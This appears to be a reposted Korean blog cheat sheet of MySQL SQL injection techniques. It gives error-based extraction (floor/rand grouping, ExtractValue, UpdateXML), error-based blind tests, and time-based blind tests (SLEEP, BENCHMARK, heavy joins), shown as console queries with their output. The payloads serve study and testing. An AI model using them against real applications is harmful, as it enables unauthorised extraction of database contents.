Error Based SQL Injection

출처 : http://hellsonic.tistory.com/entry/Error-Based-MYSQL-Injection

Error Based MYSQL Injection

 

mysql> select 1 from dual where 1=1 and row(1,1)>(select count(*),concat(version(),floor(rand(0)*2)) x from (select 1 union select 2 union select 3)a group by x limit 1); ERROR 1062 (23000): Duplicate entry '5.1.41-community1' for key 'group_key'

 

mysql> select 1 from dual where 1=1 and ExtractValue(1,concat(0x01,version())); ERROR 1105 (HY000): XPATH syntax error: '5.1.41-community'

 

mysql> select 1 from dual where 1=1 and UpdateXML(1,concat(0x01,version()),1); ERROR 1105 (HY000): XPATH syntax error: '5.1.41-community'

 

 

 

Error Based Blind MYSQL Injection

 

mysql> select 1 from dual where 1=1 and 1=(select 1 union select 1 order by (select 1 from information_schema.tables where 1=1)); ERROR 1242 (21000): Subquery returns more than 1 row mysql> select 1 from dual where 1=1 and 1=(select 1 union select 1 order by (select 1 from information_schema.tables where 1=2)); +---+ | 1 | +---+ | 1 | +---+ 1 row in set (0.00 sec)     mysql> select 1 from dual where 1=1 and if(1=2,1,(select 1 union select 2)); ERROR 1242 (21000): Subquery returns more than 1 row   mysql> select 1 from dual where 1=1 and if(1=1,1,(select 1 union select 2)); +---+ | 1 | +---+ | 1 | +---+ 1 row in set (0.00 sec)     mysql> select 1 from dual where 1=2 and (select 1 union select 2); Empty set (0.00 sec)   mysql> select 1 from dual where 1=1 and (select 1 union select 2); ERROR 1242 (21000): Subquery returns more than 1 row

 

 

 

Time Based MYSQL Injection

 

SLEEP mysql> select 1 from dual where 1=1 and IF(1=1,sleep(3),0); Empty set (3.00 sec) mysql> select 1 from dual where 1=1 and IF(1=2,sleep(3),0); Empty set (0.00 sec)     BENCHMARK mysql> select 1 from dual where 1=1 and IF(1=1,benchmark(1000000,MD5(0)),1); Empty set (1.83 sec) mysql> select 1 from dual where 1=1 and IF(1=2,benchmark(1000000,MD5(0)),1); +---+ | 1 | +---+ | 1 | +---+ 1 row in set (0.00 sec)     HEAVY QUERY mysql> select 1 from dual where 1=1 and (select count(*) from information_schema.columns A,information_schema.columns A2,information_schema.columns A3); +---+ | 1 | +---+ | 1 | +---+ 1 row in set (6.51 sec) mysql> select 1 from dual where 1=2 and (select count(*) from information_schema.columns A,information_schema.columns A2,information_schema.columns A3); Empty set (0.00 sec)